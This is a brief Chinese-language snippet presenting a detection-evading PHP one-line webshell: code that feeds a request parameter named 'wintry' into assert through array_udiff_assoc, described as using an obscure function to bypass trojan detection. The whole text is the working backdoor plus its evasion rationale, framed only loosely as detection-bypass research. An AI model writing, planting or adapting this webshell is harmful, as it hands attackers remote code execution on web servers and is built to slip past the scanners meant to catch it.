免杀payload

用偏僻函数

<?php
$password = "wintry";
array_udiff_assoc(array($_REQUEST[$password]), array(1), "assert");
?>

免杀思路

php一句话木马检测绕过研究